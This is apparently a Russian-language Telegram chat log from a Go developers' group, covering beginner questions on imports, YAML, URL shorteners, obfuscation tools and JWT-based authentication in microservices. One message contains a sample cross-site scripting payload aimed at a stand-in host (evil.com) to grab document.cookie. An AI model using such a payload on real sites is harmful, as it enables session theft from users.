Hello
Привет, использую цветной вывод текста через \033[25m (ничего нового), но вот при компилировании текст не цветной, а выводятся символы. Есть вариант окрасить цвет в бинарнике?
Vladyslav
А книги какие-то и тд русскоязычные
На счёт книг не скажу, именно по языку книг не читал, хотя где то даже сохранял себе книги которые рекомендовали на разных докладах, но не добрался ещё😅
Anonymous
Так, спасибо
Anonymous
И ещё вопросик, есть ли компании которые могут не совершеннолетних брать на не официальное
Belka
А книги какие-то и тд русскоязычные
A tour of go рекомендую на старте
whois
Ребят, не знаете, как в goland ide включить редактирование больших файлов. А то открыл большой sql файл, а он заблокирован на редактирование. При чем, пиктограмма read-only выключена. Не знаете, в чем дело?
🔥
?)
Serge
всем привет! Как корректно передавать параметр с типом rune в yaml? пишу там param: ';' в коде маршалю в поле rune в структуре и получаю пусто в итоге. можно конечно в yaml параметрах использовать int32 но это некрасиво и потребует коментариев
@name_666
И ещё вопросик, есть ли компании которые могут не совершеннолетних брать на не официальное
Есть така практика. Скорее исключения. Если к тебя хороший скилл.
Владислав
Всем привет! Ребят, кто может помочь новичку?
Владислав
Начал только изучать язык GO, пишу сервис сокращения ссылок
Yuriy
Всем привет! Ребят, кто может помочь новичку?
главное домен не .ru ) иначе очень быстро придут...
@name_666
Yuriy
ну не станут они разбираться что у вас просто редирект на CP
Yuriy
или вы думаете вашим сервисом будут пользоваться исключительно законопослушные пользователи?
@name_666
вот, есть ситуации, когда существует ограниченный ввод
@name_666
и вместо того что бы написать http://evil.com?s=<script>src=document.cookie</script>
Владислав
Могу в личку скинуть код
Yuriy
Сарян всем
Если отбрасить все юр. риски то сохраняем длинные урлы в бд. отдаем короткий url c id записи для пущей компактности кодируем в hex strconv.FormatInt(123, 16)
whois
Ребят, нет ли у кого examples, чтобы скопировать все сообщения из истории канала(telegram)? Какой пакет посоветуете?
Anonymous
реализовал дерево в го и теперь нужно его красиво вывести есть кто может помочь ?
Maks
Ну сделать рекурсивную функцию с принтом где каждый следующий вложенный шаг будет к принту добавлять -, таким образом складывая минусы) или типо того) Пример бы желаемый показал
Aleksei
Всем привет, кто-то может порекомендовать телеграм каналы для хантинга golang разработчиков?
Aleksei
спасибо
la4z
Привет, пишу свою соц сеть на Go, до сих пор мучаюсь с архитектурой проекта
la4z
есть какие нибудь шаблоны, которые могут помочь с этим?
la4z
В интернете конечно же есть всякие, но не понимаю как их применять в своём проекте
Martin
шаблоны чего?
Yuriy
шаблоны чего?
архитектурные паттерны, видимо
Suleiman
вообще, на кой паттерны в go ?
Relaxed
сопоставление шаблонов в примере golang
Relaxed
Поделись, пожалуйста
Relaxed
Template matching
Rinat
Привет всем, я недавно начал изучать этот язык и третий день не могу импортировать пакет с гитхаба, пути проставил, так и не понял в чём проблема, помогите пожалуйста
Владислав
Мак или винда?
Владислав
Привет
Rinat
винда
Владислав
что пишет? Какая ошибка?
Владислав
или ничего не получается?
Rinat
когда пишу get с гитхаба, нет никакого аутпута в консоль, когда пытаюсь запустить код пишет main.go:7:2: cannot find package
Sairan
а ты прописал в папке проекта mod init .
Daniil
Всем привет! Кто-нибудь подскажет инструменты для обфускации кода на Go? (Пробовал gobfuscate и garble - работают нестабильно)
Gameover
скоро про криптор спросят 😆
George
Up
почему бы не использовать string с небольшой обработкой в коде? В целом выставлять в yaml специфичные для языка конструкции - не лучший паттерн.
Belka
Может кто подсказать, как такое реализовать? https://play.golang.org/p/z6SMXyPgtcb
🔥
Belka
сейчас гляну, спасибо
Belka
Я изначально реализовал так, но не совсем нравились глобальные переменные https://play.golang.org/p/u-nVKFN0wrK
Pavel
https://play.golang.org/p/haeUl21c-TJ
только поэлементное копирование из слайса объектов в слайс интерфейсов или ждать дженериков
Pavel
дженерики только к концу года обещают вроде. хотя сейчас есть проекты для кодогенерации, но зачем их использовать, если потом на встроенные дженерики переписывать придётся.
🔥
Значит пока ничего не пропустил)
Только новость в январе месяце увидел)
Maks
Подскажите где/что почитать/посмотреть про микросервисную архитектуру. Не могу понять как мне делать. У меня будет сервис где будут не авторизованные и авторизованные пользователи. И вот с авторизованными юзерами интересно как их в микросервисах валидировать, как это вообще работает
Vladyslav
Видел доклад на эту тему, если интересно могу скинуть чуть позже
Maks
Jwt токены
А че токены то дадут. Ты этот токен все равно должен на сервисе авторизации валидировать ведь.
Maks
Потому что токен он как бы не гарантирует что пользователь не был изменён, удален, или у него были изменены права/роли
Vladyslav
А че токены то дадут. Ты этот токен все равно должен на сервисе авторизации валидировать ведь.
Ты подписываешь токен ключем приватным на сервисе авторизации Публичным ключем на других сервисах проверяешь твой ли ключ или нет Плюс токен может хранить данные, например айди юзера и его роли
Martin
но если токен украли тебе хана;))
Maks
Ты подписываешь токен ключем приватным на сервисе авторизации Публичным ключем на других сервисах проверяешь твой ли ключ или нет Плюс токен может хранить данные, например айди юзера и его роли
Жвт токен нельзя отозвать для пользователя. Значит у него в момент следующего запроса может уже не быть тех ролей, которые у него были когда токен генерировали
Vladyslav
но если токен украли тебе хана;))
А нечего токены долго хранить)
Martin
расскажете это своим пользователям потом)
Maks
Ну так вот я и интересуюсь, спрашиваю) я ток с жвт и сессиями работал. Жвт вроде удобно, но нужно каждый раз по сути в бд проверять юзера дабы в случае изменения, блокировки пользователя - не было расхождений между данными в токене и в бд
Maks
Щас вот как раз про оаус2 нашел инфу
Martin
да, вы победили меня в час ночи)
Martin
jwt для стартапов, между серверами норм, но как только нужен контроль ты делаешь сессии и желательно одну точку входа для пользователей, вот и все что хотел сказать, все зависит от деталей проекта
Maks
Я правильно понял, что нужно сделать шлюз с oauth2.0?